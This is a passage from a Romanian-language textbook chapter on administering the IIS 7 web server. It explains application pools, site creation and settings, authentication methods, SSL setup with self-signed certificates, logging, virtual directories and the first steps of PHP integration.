338 | R e e l e L o c a l e


9-7: Interfaa de proprieti a serverului local
n panoul de conexiuni, sub serverul local se gsesc alte dou elemente: Application Pools
i Sites.
O aplicaie, n sensul IIS, se refer la o aplicaie ce este rulat prin intermediul IIS i care
poate fi o aplicaie web. Un Application Pool poate conine mai multe astfel de aplicaii iar
utilitatea sa const n faptul c permite administratorului s configureze un anumit nivel de
izolare ntre diferitele aplicaii gzduite pe server. Spre exemplu, toate aplicaiile web pot fi
incluse n acelai Application Pool. Tot n acest context, gruparea aplicaiilor poate fi fcut i
din cosiderente de securitate. Fiecare Application Pool ruleaz ntr-un proces separat, ceea ce
constituie un alt avantaj: erorile aprute ntr-unul dintre Application Pool-uri nu vor putea
afecta funcionalitatea celorlalte aplicaii. n lipsa unor Application Pool-uri definite manual de
ctre administrator, toate aplicaiile de pe server vor rula n acelai Application Pool, cel
implicit.
Un Appplication Pool poate fi considerat, ca o privire de ansablu, ca un server web virtual,
de sine stttor. Resurse ca nivelul de ocupare al procesorului sau cantitatea de memorie RAM
utilizabil pot fi configurate pentru fiecare Application Pool n parte. Pentru uurarea
ntreinerii lor, ele pot fi programate pentru a se restarta periodic sau a se opri automat n
momentul n care sunt detectate prea multe erori ntr-un interval de timp dat.
Pot fi create orict de multe Application Pool-uri se dorete, dar trebuie avut n vedere
faptul c fiecare va consuma resursele sistemului iar crearea unui proces pentru fiecare va
aduga un surplus la ncrcarea scheduler-ului de procese din sistem. Un sistem desktop
decent poate suporta aproximativ 25 de Application Pool-uri fr degradri semnificative de
performan. Factorii care influeneaz numarul de Application Pool-uri suportate de sistem
sunt:
Procesorul i memoria sistemului
Numrul aplicaiilor din pool-uri i tipul lor
Numrul de cereri de procesat pentru aceste aplicaii
Resursele consumate de alte procese sau servere instalate n sistem
Cel de-al doilea element din panoul Connections l reprezint Sites, ce cuprinde toate site-
urile web ce sunt configurate pe serverul curent. Tipurile de site-uri ce pot fi gzduite pe
server depind de modulele opionale alese la instalare sau ulterior. Implicit, folosind
339 | Wo r l d W i d e W e b

configuraia de baz de la instalare, IIS 7 poate servi doar pagini statice (fiiere HTML). Pentru
paginile ce includ coninut dinamic, ca ASP (Active Server Pages), ASP.NET, PHP sau CGI
(Common Gateway Interface) e necesar adugarea unor module suplimentare.

9-8: Pagina de proprieti a unui site
n panoul central pot fi vizualizate fie proprietile unui site, fie coninutul su (fiierele
propriu-zise i structura de directoare). Pentru a schimba ntre aceste dou moduri, exist
butoanele Features View i Content View n partea inferioar. De asemenea, proprietile pot
fi grupate dup funcii i afiate n mai multe moduri, n stilul Windows Explorer.
n fine, panoul din partea dreapt, Actions, ofer accesul rapid la diferite comenzi i aciuni
contextuale, n funcie de ce elemente sunt selectate n panoul de proprieti sau n arborele
de conexiuni din partea stng. De aici se poate porni sau opri serverul (dac este selectat n
partea stng), se pot activa sau dezactiva site-uri, se pot vizualiza i accesa paginile de
modificare a proprietilor lor i se pot deschide rapid site-urile direct n browser.
Atenie! Pornirea, oprirea sau restartarea serverului IIS poate fi fcut att din interfaa sa
de management ct i din Server Manager, la selectarea lui din lista de roluri. Modificrile
efectuate n una dintre aceste zone pot s nu fie vizibile imediat n cealalt. E recomandabil ca
pentru rolurile de server ce dein interfee proprii de administrare, s se interacioneze cu ele
doar prin intermediul acestora, Server Manager fiind folosit doar pentru verificri i
diagnosticri. Server Manager beneficiaz de o opiune care actualizeaz odat la fiecare 2
minute informaiile afiate. n partea inferioar se afieaz secunda ultimei actualizri i un
link pentru configurarea frecvenei de actualizare.
9.4.4 Adugarea unui site web
Site-urile nregistrate pe serverul local sunt listate n interfaa IIS Manager, grupate sub
categoria Sites a serverului din panoul Connections. Implicit, IIS definete un site accesibil
accesibil prin orice interfa (inclusiv cea de loopback) la portul 80. Este recomandabil ca dup
340 | R e e l e L o c a l e

instalarea IIS s se verifice funcionarea sa prin accesarea adresei http://localhost ntr-un
browser. Site-ul afiat n mod implicit conine o pagin simpl HTML ce afieaz o imagine.
Dup instalare, singurul site definit este cel implicit, denumit Default Web Site. Pentru a
aduga un nou prim site, se poate crea unul nou sau se pot modifica parametrii acestui site
implicit. Pentru nceput, el poate fi redenumit prin clic dreapta i Rename. Instalarea lui IIS are
ca efect i crearea unui director la adresa C:\Inetpub\wwwroot ce reprezint i rdcina
pentru site-ul implicit. Coninutul su poate fi vizualizat fie din Windows Explorer, fie din
interfaa de management a IIS, selectnd site-ul i alegnd opiunea Content View.
n special la crearea noilor site-uri trebuie avut n vedere faptul c IIS implementeaz un
sistem de configuraii pe dou niveluri: unul global, ce afecteaz funcionarea ntregului server
i, implicit, a tuturor site-urilor definite n acesta i unul la nivel de site, particularizat pentru
fiecare site adugat.
Adugarea unui site se face urmnd etapele de mai jos. De menionat c aceste setri nu
sunt definitive i pot fi modificate n orice moment ulterior, dup definirea site-ului:
1. n IIS Manager se face clic pe grupul Sites din panoul de conexiuni i apoi pe Add Web Site din
panoul Actions. Se deschide fereastra Add Web Site:

9-9: Adugarea unui nou site
2. n cmpul Site name poate fi introdus orice nume pentru noul site (numele e folosit doar n
scop administrativ). Totodat, un Application Pool cu acelai nume va fi creat iar dac se
dorete folosirea unuia deja existent (cum ar fi DefaultAppPool, cel implicit) se poate specifica
acest lucru printr-un clic pe butonul Select.
3. n cmpul Physical Path se introduce calea spre locaia n care sunt stocate fiierele site-ului, ce
reprezint, totodat, i rdcina sa. Calea poate descrie o locaie de pe serverul local sau una
accesibil pe un alt server, dac respect convenia UNC.


341 | Wo r l d W i d e W e b

UNC (Universal Naming Convention) reprezint un standard ce i are originile n
comunitatea UNIX. El descrie un mod de adresare folosit pentru a identifica servere,
imprimante i alte resurse dintr-o reea. O cale UNC folosete dou slash-uri sau backslash-uri
ce preced numele staiei, urmnd ca discurile i directoarele s fie separate prin slash-uri sau
backslash-uri simple. Literele unitilor (C:, D:, etc) folosite n DOS/Windows nu sunt utilizate n
UNC.
Un exemplu de cale UNIX este //server/cale iar una DOS/Windows este \\server\cale.
4. n mod implcit, IIS folsete o autentificare de tip pass-through pentru a ncerca s acceseze
calea specificat la punctul anterior (rdcina). Acest tip de autentificare nseamn c IIS va
ncerca s acceseze conintul site-ului folosindu-se de drepturile i identitatea utilizatorului
care efectueaz cererea. Tot n acest caz, fiierele de configurare vor fi accesate folosind
identitatea configurat n Application Pool-ul corespunztor. Pentru cereri anonime, IIS
folosete drepturile unui utilizator propriu, IUSR, obinute prin apartenena la grupul IIS_IUSRS,
ambele create odat cu instalarea serverului.
5. n zona de Binding se specific protocolul folosit, HTTP sau HTTPS (securizat), adresa IP
1
a
interfeei pe care vor fi ascultate cererile i portul ce le va accepta. Implicit, pentru HTTP acesta
va fi 80 iar pentru HTTPS va fi 443.
6. Dac se deine un nume de domeniu pentru accesarea site-ului, acesta poate fi introdus la Host
name.
Dup validarea cofiguraiei de mai sus i nchiderea ferestrei, site-ul va fi listat sub grupul
Sites n IIS Manager. Atenie la crearea unui site cu o configuraie ca n figura 9-9, care s
funcioneze pe toate interfeele i portul 80, n condiiile n care exist deja site-ul implicit cu
aceleai setri. IIS va ateniona cu privire la acest aspect.
De asemenea, crearea unui site cu o rdcin n care nu exist o pagin index va returna o
eroare de tip 401.3 Unauthorized deoarece setrile implicite ale site-urilor nu permit listarea
coninutului directoarelor n lipsa unui fiier index.
9.4.5 Configurarea site-urilor
Opiunile i parametrii disponibili pentru configurare sunt n numr mare, mai ales avnd
n vedere capabilitile oferite de modulele opionale ce pot fi instalate mpreun cu IIS. n
cele ce urmeaz vor fi prezentate cteva faciliti uzuale i utile pentru majoritatea aplicaiilor
web.
9.4.5.1 Setri globale ale site-urilor
Configurrile implicite pentru IIS afecteaz toate site-urile nregistrate n acesta. Pentru a
accesa aceste setri, n interfaa de administare IIS, n panoul de conexiuni, se alege Sites iar n
panou de aciuni se selecteaz Set Web Site Defaults. Este afiat fereastra din figura 9-10:
Application Pool reprezint platoforma pe care vor rula site-urile. Implicit, este
DefaultAppPool.
Physical Path Credentials permite specificarea unui anumit utilizator ce va fi folosit pentru
accesarea resurselor site-urilor. l lipsa unuia, se va folosi autentificare de tip pass-through
(dup cum s-a explicat n 9.4.4).
Physical Path Credentials Logon Type: Specific modul de autentificare ce va fi folosit pentru a
accesa resursele fizice din spatele unor directoare virtuale. Mai multe despre directoarele
virtuale n seciunea 9.4.8.
Start Automatically are ca efect punerea n funciune imediat a site-ului dup crearea sa.


1
Adresa IP poate fi specificat att n format IPv4 ct i n format IPv6.
342 | R e e l e L o c a l e


9-10: Setrile implicite ale site-urilor IIS
Connection Limits permite definirea intervalului de time-out pentru conexiuni, a numrului
maxim de conexiuni simultane acceptate, precum i a lrgimii de band maxime ce va fi
folosita pentru a rspunde cererilor.
Enabled Protocols include protocoale ca HTTP i/sau HTTPS ce vor fi active implicit pentru
toate site-urile definite.
Setrile configurate aici vor fi aplicate tuturor site-urilor definite n IIS. Bineneles, fiecrui
site i se pot modifica ulterior proprietile n mod independent. Parametrii de mai sus pot fi
accesai i modificai n configuraia fiecrui site, selectndu-l i alegnd linkul Advanced
Settings din panoul de aciuni.
Din moment ce setrile de mai sus sunt incluse n categoria Advanced Settings ale site-
urilor, n particular, parametrii de baz ai site-urilor (tipuri de documente, securitate, pagini de
eroare, etc) pot fi i ei configurai la nivel global, o practic util mai ales cnd un server
gzduiete mai multe site-uri nrudite ca tehnologie i funcionalitate. Pentru a accesa setrile
de baz ale site-urilor la nivel global, se selecteaz serverul din lista de conexiuni iar panoul
central se seteaz pe Features View.
9.4.5.2 Setri particulare ale site-urilor
Selectarea unui site i alegerea modului de vizualizare Features View are ca efect listarea
unei serii de pictograme ce reprezint legturi rapide spre diverse categorii de proprieti
configurabile ale site-ului. O parte dintre setrile disponibile la nivel de site se regsesc n
continuare i la nivel de director/zon a unui site. n general, ca i n ierarhia server-site-
director, setrile mai particulare, dac sunt configurate, preced n prioritate pe cele motenite
de la nivelul superior.
Setrile de la fiecare categorie sunt, n cea mai mare parte, explicite prin ele nsele:
Compression: n mod implicit, n IIS compresia coninutului paginilor statice este activ. IIS
genereaz versiuni comprimate ale fiierelor returnate i folosete aceeai variant
comprimat pentru mai multe cereri, optimiznd astfel utilizare lrgimii de band. Activarea
compresiei coninutului dinamic este posibil prin instalarea unui modul separat (ce putea fi
selectat i la instalarea IIS), dar trebuie avut n vedere faptul c IIS nu va stoca ntr-o memorie
cache coninutul dinamic, ci va realiza recompresia pentru fiecare cerere n parte. Aceast
opiune este viabil doar pentru medii n care lrgimea de band este foarte limitat dar n
care viteza de rspuns a serverului nu este de prim importan (i, bineneles, unde exist
necesitatea coninutului dinamic).
343 | Wo r l d W i d e W e b

Setrile compresiei sunt disponibile i la nivel de server (se selecteaz serverul din lista de
conexiuni i se alege Compression din Features View), unde beneficiaz de opiuni
suplimentare:
o Mrimea minim a fiierelor ce vor fi comprimate
o Directorul temporar n care sunt stocate variantele comprimate ale fiierelor
o Limita mrimii acestui director, la nivel de Application Pool
Default Document Page: Aceast opiune permite specificarea documentului ce va fi cutat i
returnat (dac exist) n momentul n care o cerere nu adreseaz un anumit fiier, ci doar o
locaie. Fiierele cutate sunt de tipul index.html, Default.html, Default.asp, etc. Lista
de fiiere permite i rearanjarea lor pentru a defini ordinea n care vor fi cutate n locaia
adresat. Se poate aduga orice tip de fiier selectnd Add n panoul de aciuni. E
recomandabil ca ordinea s conin pe prima poziie chiar fiierul ce este folosit drept fiier
index n site, pentru a optimiza procesul de cutare. Fiierele pot avea dou atribute: Local sau
Inherited, primul artnd c fiierul a fost definit local iar cel de-al doilea c fiierul a fost
definit ntr-o locaie superioar n ierarhia de configuraie. Fiierele marcate ca Inherited la
nivel de site sunt marcate Local la nivel de server.
Directory Browsing: n momentul n care IIS primete o cerere ce nu adreseaz un fiier
specific, el va cuta secvenial unul dintre fiierele definite la Default Document Page n acea
locaie, pentru a-l returna. Dac nu gsete un astfel de document, va verifica dac listarea
coninutului directoarelor este activ pentru acea locaie i, n caz afirmativ, va afia o pagina
ce listeaz fiierele i directoarele de la adresa respectiv, mpreun cu informaiile selectate n
Directory Browsing. Se pot afia informaii legate de dat/timp, mrime i extensie.
Error Pages: Cererile HTTP pot genera erori identificate prin coduri numerice. Pentru fiecare
astfel de eroare, administratorul poate defini returnarea unui coninut static, executarea unui
anumit URL sau returnarea unui mesaj de redirectare. IIS definete implicit cteva asocieri ntre
codurile de eroare cele mai des ntlnite i pagini statice. Acestea pot fi modificate sau
suplimentate cu noi intrri, din panoul de aciuni. Link-ul Edit Feature Settings permite
alegerea unui nivel de detaliu pentru paginile ce descriu erorile, precum i definirea unei pagini
de eroare globale, pentru toate codurile de eroare ce nu au o aciune definit.
Handler Mappings: Handler-ele sunt elementele ce proceseaz cererile venite spre site-urile
sau aplicaiile IIS-ului. IIS determin handler-ul prin care va trata o cerere conform ordinii
definite n pagina de Handler Mappings. Printre handler-ele definite implicit se afl i cel de
StaticFile, folosit pentru returnarea coninutului static. Printre atributele handler-elor (afiate
n lista i necesare i la definirea unora noi) se numr:
o Request Path: Reprezint fiierul sau extensia pentru care handler-ul se va aplica. Se pot folosi
wildcard-uri (spre exemplu, StaticFIle se aplic oricrui fiier i are trecut un * la Request Path)
o Path Type: Descrie tipul cii pentru care se realizeaz maparea cu handler-ul. Aceasta poate fi cale
spre un fiier i/sau spre un director sau poate fi lsat nespecificat.
o Handler: Definete efectiv modulul sau un tip .NET ce va rspunde cererii.
o Entry Type: Ca i n cazul altor proprieti, handler-ele pot fi definite local sau pot fi motenite de la
nivelurile superioare.
HTTP Response Headers: Cnd un browser cere o pagin web unui server, se returneaz un
antet HTTP n pagina de rspuns, ce include versiunea HTTP i tipul coninutului. IIS nu
definete implicit niciun fel de astfel de antete. Totui, pentru anumite pagini pot fi definite
antete ce vor fi returnate clienilor ce informeaz despre starea paginii (spre exemplu, Under
construction). La adugarea unui antet, se introduce un nume i o valoare ce reprezint calea
spre coninutul antetului.
MIME Types
1
: Lista de extensii (mpreun cu un coninut corespunztor) ce cauzeaz IIS-ului s
returneze acele fiiere drept coninut static (nu sunt interpretate dinamic). Lista cuprinde
fiiere multimedia, imagini, documente, etc.

1
MIME = Multipurpose Internet Mail Extensions. Detalii la: http://en.wikipedia.org/wiki/MIME
344 | R e e l e L o c a l e

Modules: Modulele reprezint efectiv elementele de cod care trateaz cererile recepionate de
server. Un modul mpreun cu aciunile pe care le poate executa reprezint un handler, iar un
handler mpreun cu tipul de cerere cruia i se aplic reprezint o asociere a sa (un handler
mapping). Lista de module disponibile aici este identic cu cea accesibil la editarea sau
adugarea de intrri n Handler Mappings.
Output Caching: Output Cache-ul reprezint o zon din memoria serverului unde sunt pstrate
resursele accesate frecvent, pentru a optimiza att timpul de rspuns la o cerere ct i cel de
localizare a unei resurse. Este util folosirea unui astfel de cache n special n situaiile n care
serverul depinde de programe secundare pentru procesare (CGI) sau pentru acces la
date/resurse (baze de date). Dac memoria disponibil serverului este prea mic, se va elibera
memoria cache. Cererile vor continua apoi s fie pstrate i n cache pe msur ce sunt
ndeplinite. Adugarea unei noi reguli de caching se face prin selectarea lui Add din panoul de
aciuni. O regul de caching poate fi definit prin urmtorii parametri:
o File name extension: Extensia fiierelor asupra crora se va aplica regula curent de caching.
o User-mode caching: Configureaz regula curent s stocheze coninutul cache-ului n spaiul
utilizator. Actualizarea informaiilor din memoria temporar poate fi fcut n momentul n care IIS
primete o notificare de modificare a coninutului unui fiier, regulat, la intervale fixe de timp sau se
poate crea o regul care mpiedic explicit caching-ul unui anumit tip de fiier. La setrile avansate
se poate configura ca serverul s stocheze n cache versiuni diferite ale aceluiai fiier n funcie de
variabilelele sau antetele din cereri.
o Kernel-mode caching: Configureaz regula curent s stocheze coninutul cache-ului n spaiul
kernel. Avantajul const n faptul c returnarea coninutului static din spaiul kernel se face mai
rapid dect n cazul spaiului utilizator. Opiunile legate de actualizare informaiilor din cache sunt
aceleai ca i la User-mode caching, mai puin setrile avansate. Dac se activeaz att User-mode
caching ct i Kernel-mode caching i se folosete actualizarea la intervale regulate, cu aceeai
valoare configurat n ambele situaii, se va folosi automat doar cache-ul din kernel.


9-11: Crearea unei reguli de caching
345 | Wo r l d W i d e W e b

SSL Settings: Permite modificarea cerinelor SSL (Secure Sockets Layer) pentru site-uri i
aplicaii, mpreun cu modul de tratare a certificatelor sosite din partea clienilor. Se poate
specifica folosirea criptrii pe 40 sau 128 de bii.
Authentication: Descrie metodele de autentificare folosite pentru accesul la un site. Se pot
folosi autentificri din urmtoarele categorii: anonymous, ASP.NET impersonation, basic,
digest, forms i Windows authentication. Doar n cazul n care serverul este membru al unui
domeniu este posibil folosirea lui digest authentication.
Logging: Permite lui IIS s nregistreze n jurnale cererile. Se poate alege calea n care vor fi
stocate jurnalele, tipurile de intrri ce vor fi scrise n ele precum i modul i frecvena cu care
se va realiza rotirea jurnalelor.
9.4.6 Securitate
9.4.6.1 Metode de autentificare
IIS pune la dispoziie o serie de metode prin care utilizatorii se pot autentifica pentru a
dobndi accesul la coninutul site-urilor:
Active Directory Client Certificate Authentication: Se folosete Active Directory Directory
Services
1
pentru a verifica asocierea dintre utilizatori i certificate, fr alte date suplimentare.
Anonymous Authentication: Permite oricrui utilizator s acceseze ntregul coninut public,
fr a furniza informaii despre identitatea sa. Folosit n site-urile publice, de pe Internet.
ASP.NET Impersonation: Permite rularea aplicaiilor ASP.NET ntr-un alt context dect cel al
contului implicit ASPNET. ASP.NET Impersonation poate fi folosit n conjuncie cu alte metode
de autentificare sau se poate crea un cont de utilizator pentru acest mod de autentificare.
Basic Authentication: Utilizatorilor li se cere un nume i o parol valide pentru a fi autentificai.
Transmiterea datelor de autentificare se face slab securizat.
Digest Authentication: Folosee un Windows Domain Controller pentru a autentifica
utilizatorii, reprezint o alternativ mai securizat dect Basic Authentication i pote fi folosit
i de ctre utilizatorii din spatele firewall-urilor sau serverelor proxy. Necesit HTTP 1.1.
Forms Authentication: Acest mod redirecteaz utilizatori spre o pagin separat, n formularul
creia i vor introduce datele de autentificare. Dup ce aceste informaii sunt validate, ei vor fi
redirectai napoi la pagina cerut iniial. Deoarecere Form Authentication trimite informaiile
necriptate se recomand folosirea SSL att pentru pagina de autentificare ct i pentru restul
informaiilor de pe site.
Windows Authentication: Folosete NTLM
2
sau Kerberos
3
pentru autentificare, informaiile
circul nesecurizate. Nu se recomand utilizarea acestei metode dect pentru intranet-uri, deci
nu pentru a autentifica utilizatori ce se afl n spatele unor firewall-uri sau proxy-uri.

Dup cum s-a mai menionat anterior, pentru a accesa resursele locale n urma unor cereri
anonime, IIS folosete drepturile unui cont propriu, IUSR. Prin configurarea setrilor din cadrul
Anonymous Authentication, se poate specifica alt utilizator ce va fi folosit pentru cereri
anonime, dar acest lucru nu este recomandabil deoarece utilizatorii anonimi pot primi orice
drepturi de administrare pe care le-ar putea avea acel cont, ceea ce reprezint un risc de
securitate.
9.4.6.2 Exemplu de autentificare: Basic Authentication
Autentificarea prin metoda Basic Authentication reprezint un standard rspndit pentru
autentificare pe baza unui nume de utilizator i a unei parole. Datele de conectare sunt

1
http://www.windowsitlibrary.com/Content/716/06/toc.html
2
NT LAN Manager, protocol de autentificare proprietar Microsoft
3
http://en.wikipedia.org/wiki/Kerberos_(protocol)
346 | R e e l e L o c a l e

transmise necriptate, astfel c este necesar utilizarea altor capabiliti de criptare ale
serverului web n conjuncie cu Basic Authentication pentru a proteja informaiile. Pentru a
putea folosi acest tip de autentificare, fiecare utilizator trebuie s beneficieze dreptul de a se
conecta local, pe sistemul serverului web. Pentru a se uura administrarea n cazul n care
conturile nregistrate sunt numeroase, utilizatorii pot fi adugai unui grup care s le ofere
drepturile necesare asupra fiierelor i locaiilor pe care acetia trebuie s le acceseze.
Ca i celelalte tipuri de autentificri, utilizarea Basic Authentication necesit instalarea
unui modul opional al IIS. Instalarea modulelor poate fi fcut att la instalarea iniial a
serverului ct i prin opiunea Add Role Services din Server Manager, sub grupul IIS. Basic
Authentication poate fi gsit sub categoria Security din lista de module disponibile.

9-12: Basic Authentication activ
Dup instalarea Basic Authentication (eventual mpreun i cu alte metode de
autentificare) se recomand restartarea Server Manager. Pentru a configura metoda de
autentificare la nivel de site, se selecteaz site-ul din categoria Sites, panoul de conexiuni i se
alege opiunea Authentication din lista afiat n modul Features View. Pentru a putea folosi
Basic Authentication, este necesar ca Anonymous Authentication s fie dezactivat. n caz
contrar, toi utilizatorii vor accesa site-ul n mod anonim, folosind Anonymous Authentication.
Activarea i dezactivarea metodelor de autentificare se face din panoul de aciuni.
La accesarea site-ului, browserele vor afia o fereastr de interogare n care vor trebui
completate un nume de utilizator i o parol conform cu un cont nregistrat pe sistemul pe
care ruleaz serverul.
9.4.6.3 SSL
n mod implicit, comunicaia dintre un client i un server web se face fr a securiza
informaiile transmise i fr a se lua msuri mpotriva celor ce ar putea intercepta aceste
date. n consecin, informaiile coninute n cereri i rspunsuri pot fi interceptate i
interpretate de un atacator ce poate asculta comunicaia la nivelul reelei. Pericolul n acest
caz const att n interceptarea fiierelor transferate ntre server i client ct i n posibilitatea
de a intercepta datele folosite la autentificri ce nu implementeaz intrinsec vreo metod de
securizare (ca n cazul Basic Authentication sau Forms Authetication, descrise pe scurt
anterior) i utilizarea lor pentru a impersona un utilizator autorizat i a dobndi accesul la
resurse securizate.
Pentru a preveni astfel de situaii se poate folosi SSL (Secure Sockets Layer) sau
protocoalele mai noi TLS (Transport Layer Security) pentru a securiza comunicaia dintre server
i clieni. TLS reprezint un standard foarte rspndit i acceptat de majoritatea browserelor
347 | Wo r l d W i d e W e b

web. Pentru simplitate, se va folosi n continuare termenul de SSL pentru a referi att SSL ct i
TLS.
Pe lng securizarea comunicaiei dintre server i clieni, SSL ajut i la confirmarea
identitii unui server web pentru un client. Procedeul este folosit la scar larg pentru a
asigura clientul de faptul c serverul este chiar cel care se declar a fi i nu un atacator. De
asemenea, SSL poate fi folosit de ctre IIS pentru a confirma identitatea unui client, dac
acesta prezint un certificat acceptat.
Pentru IIS, configurarea SSL presupune dou etape:
1. Obinerea unui certificat de la o autoritate recunoscut (Certificate Authority CA). CA-ul
trebuie s fie recunoscut de toi clienii care se conecteaz la un site ce folosete un astfel de
certificat. Pentru site-uri intranet, CA-ul poate fi furnizat de un serviciu de certificate al Active
Directory (Active Directory Certificate Services
1
). Pentru site-uri din Internet, CA-ul este, de
regul, recunoscut i acceptat implicit de toate browserele web. Pentru uz intern sau pentru
teste, IIS poate furniza i un certificat propriu, cu identitatea sistemului pe care ruleaz.
2. Creare unei asocieri ntre protocolul HTTPS i portul 443 (sau altul, dup preferine) i
specificarea unui certificat pentru fiecare site pentru care se dorete implementarea SSL.
Pentru a securiza un site prin SSL, folosind un certificat emis de propriul server, se
urmeaz paii:
1. Din ecranul de Features View al serverului, se selecteaz Server Certificates (fig. 9-13)
2. Implicit, lista de certificate este goal. Crearea unui nou certificat propriu se face prin alegerea
opiunii Create Self-Signed Certificate din panoul de aciuni. Pentru crearea sa este necesar
doar definirea unui nume. Dup creare, certificatul apare n list mpreun cu date legate de
furnizorul su, data la care expir i hash-ul su.
3. Din grupul Sites se selecteaz site-ul dorit a fi securizat iar din panoul de aciuni se alege
Bindings. Se adaug o nou asociere, ntre protocolul HTTPS i portul folosit pentru acesta
(implicit 443) i, eventual, interfaa pe care s rspund cererilor. Opional, se poate elimina
binding-ul HTTP, care oricum va returna de acum nainte o eroare de tip 403.4 (Forbidden) la
ncercarea de a accesa site-ul prin HTTP simplu.

9-13: Managementul certificatelor la nivel de server

1
Active Directory Certificate Services este disponibil ca rol pentru Windows Server 2008 i poate fi
instalat din Server Manager, interfaa Add Roles.
348 | R e e l e L o c a l e


9-14: Accesarea setrilor SSL
4. Tot n cadrul site-ului selectat anterior, se acceseaz din Features View opiunea SSL Settings
(fig. 9-14).
5. Opiunile ce in de SSL permit utilizarea criptrii pe 40 de bii sau pe 128 de bii. De asemenea,
de aici poate fi configurat i comportamentul serverului n cazul n care clienii furnizeaz
certificate pentru propria lor identitate: poate fi setat s le ignore, s le accepte dac sunt
furnizate sau s accepte doar clienii care prezint un certificat valid. n cazul n care se
specific faptul c doar clienii cu certificate valide au acces, acetia vor trebui s aib instalat
n browserul propriu certificatul respectiv.
6. Se selecteaz Apply din panoul de aciuni i se verific noua configuraie. Atenie, accesarea
site-ului se face acum prin protocolul HTTPS, deci adresa trebuie s fie precedat de acesta.
O soluie pentru evitarea necesitii de a include protocolul HTTPS n adresa site-ului, cnd
acesta este accesat de ctre clieni, este definirea a dou site-uri, primul cu binding pentru
HTTP, pe portul 80, iar al doilea cu binding doar pentru HTTPS i portul 443. Apoi, se poate
folosi facilitatea de HTTP Redirect
1
din Features View pentru primul site pentru a redirecta
toate cererile spre site-ul securizat. Atenie, n acest caz, nu trebuie definit aceeai rdcin
pentru ambele site-uri, altfel se va obine o redirectare infinit spre acelai site.
Ca i n cazul adugrii altor module, dup instalarea HTTP Redirect poate fi necesar
repornirea Server Manager-ului pentru ca opiunea s fie disponibil la nivel de server i site.
9.4.7 Crearea i ntreinerea jurnalelor
Pagina de Logging accesibil din modul Features View permite configurarea modului n
care cererire sosite sunt nregistrate n jurnale, la nivel de site sau pentru ntregul server, dac
se configureaz la nivel de server. Setrile permit specificarea formatului fiierului jurnal, a
directorului n care acesta va fi stocat i modul n care se realizeaz rotirea jurnalelor.


1
HTTP Redirect este diponibil sub forma unei componente opionale IIS, disponibil la instalare sau prin
interfaa Add Role Services din Server Manager, sub IIS.
349 | Wo r l d W i d e W e b


9-15: Configurarea jurnalelor
Formatul implicit al fiierului este W3C, un format de tip ASCII, n care se pot alege
cmpurile ce vor fi nregistrate. Datele sunt separate prin spaii iar timpul este nregistrat n
format UTC (Coordinated Universal Time).
Dac se alege ca serverul s menin un singur jurnal la nivel de server, se poate selecta
formatul Binary, n care vor fi stocate cererile tuturor site-urilor. Acest mod conserv n mare
msur resursele de memorie i procesor i este recomandabil a fi folosit n medii cu trafic
intens i ncrcare mare a serverelor. Citirea unui astfel de jurnal poate fi fcut cu un utilitar
ca Log Parser
1
.
Dac se configureaz generarea unui jurnal pentru fiecare site nregistrat n server se
poate alege, de asemenea, formatul W3C, ca i mai sus, precum i formatul IIS (creeaz un
jurnal specific pentru IIS, de tip ASCII, n care cmpurile nu sunt configurabile) i formatul
NCSA (standard, de asemenea ASCII, dar cu mai puine informaii dect W3C, de asemenea,
neconfigurabile).
Dezactivarea i activarea serviciului de jurnalizare a IIS pot fi fcute din panoul de aciuni i
au efect imediat.
9.4.8 Crearea de directoare virtuale
n unele cazuri se dorete includerea ntr-un site a unui coninut ce nu este stocat pe
server, ntr-un director local. Site-urile pot include directoare virtuale, ce reprezint ci spre
directoare reale. Un director adresat de un director virtual poate fi unul local sau unul stocat
pe un alt server, pentru a evita realizarea unei copii a acelui coninut pentru maina local.
Un director virtual poate conine documente sau informaii suplimentare pentru un site
sau chiar un alt site de sine stttor. Spre exemplu, dac site-ul companiei A dorete s

1
http://go.microsoft.com/fwlink/?LinkId=59279
350 | R e e l e L o c a l e

gzduiasc temporar site-ul companiei X, poate crea un director virtual pentru a conine site-
ul lui X. n acest caz, compania X ar putea avea site-ul gzduit la adresa
www.companiaA.com/companiaX.
Pentru a crea un director virtual, se urmeaz paii:
1. Avnd un site selectat n panoul de conexiuni sub grupul Sites, se face clic pe View Virtual
Directories n panoul de aciuni. Este afiat pagina ce enumer directoarele virtuale
configurate pentru site-ul curent.
2. Pentru a configura un nou director virtual, se face clic pe Add Virtual Directory din panoul de
aciuni i este afiat fereastra din figura 9-16:

9-16: Crearea unui nou director virtual
3. Se introduce un alias pentru directorul virtual care va permite accesarea coninutului prin
adresa <adres_site>/alias i se specific i calea spre locaia unde sunt stocate fiierele,
ce poate fi local sau accesibil prin reea.
4. Autentificarea implicit este de tip pass-through, deci se va ncerca accesarea locaiei folosind
identitatea utilizatorului ce emite cererea sau a utilizatorului IUSR n cazul cererilor anonime.
Dac se dorete, se poate specifica un anumit cont de utilizator pe baza cruia se va accesa
coninutul directorului virtual printr-un clic pe butonul Connect as.
5. Se valideaz configuraia de mai sus iar noul director creat apare n lista directoarelor virtuale.
Pentru a modifica proprietile unui director creat, se selecteaz i se alege Basic settings din
lista de aciuni.
Uneori este de dorit configurarea manual a permisiunilor asupra coninutului
directoarelor virtuale. Pentru aceasta se poate selecta Edit permissions din panoul de aciuni
care afieaz, de fapt, interfaa de proprieti a directorului n forma accesibil i din Windows
Explorer.
9.4.9 Aplicaie: Integrarea IIS 7 i PHP
Pentru a putea permite lui IIS 7 s interpreteze cod PHP exist mai multe metode. Paii
urmtori reprezint o variant facil de a realiza acest lucru (pentru exemplul de fa se
consider c instalarea de Windows s-a fcut n C:\Windows:
1. Din lista de module opionale IIS se selecteaz ISAPI Extensions i se instaleaz fie la instalarea
iniial a IIS, fie ulterior, din Server Manager, de la Add Role Services, sub rolul de server web.
2. Se descarc PHP de la http://www.php.net/downloads.php i se dezarhiveaz ntr-un
director la alegere. Pentru exemplu, fie acesta C:\php.
3. Se copiaz fiierul php.ini-dist din C:\php n C:\Windows i se redenumete n php.ini.
351 | Wo r l d W i d e W e b

4. Se deschide C:\Windows\php.ini ntr-un editor de texte, se localizeaz linia
;extension=php_mysql.dll i se decomenteaz linia (se terge punctul i virgula de la
nceput). Se salveaz i se nchide fiierul.
5. Se copiaz fiierul C:\php\ext\php_mysql.dll n C:\Windows\System32.
6. Se deschide IIS Manager i, la nivel de site, se acceseaz Handler Mappings.
7. Se alege Add Script Map din meniul de aciuni.

9-17: Add Script Map
8. Se completeaz cmpurile din fereastra Add Script Map dup cum urmeaz:
o Request path indic tipul cererilor, deci fiierele de tip .php
o Executable reprezint calea spre biblioteca (DLL-ul) ce va interpreta aceste fiiere.
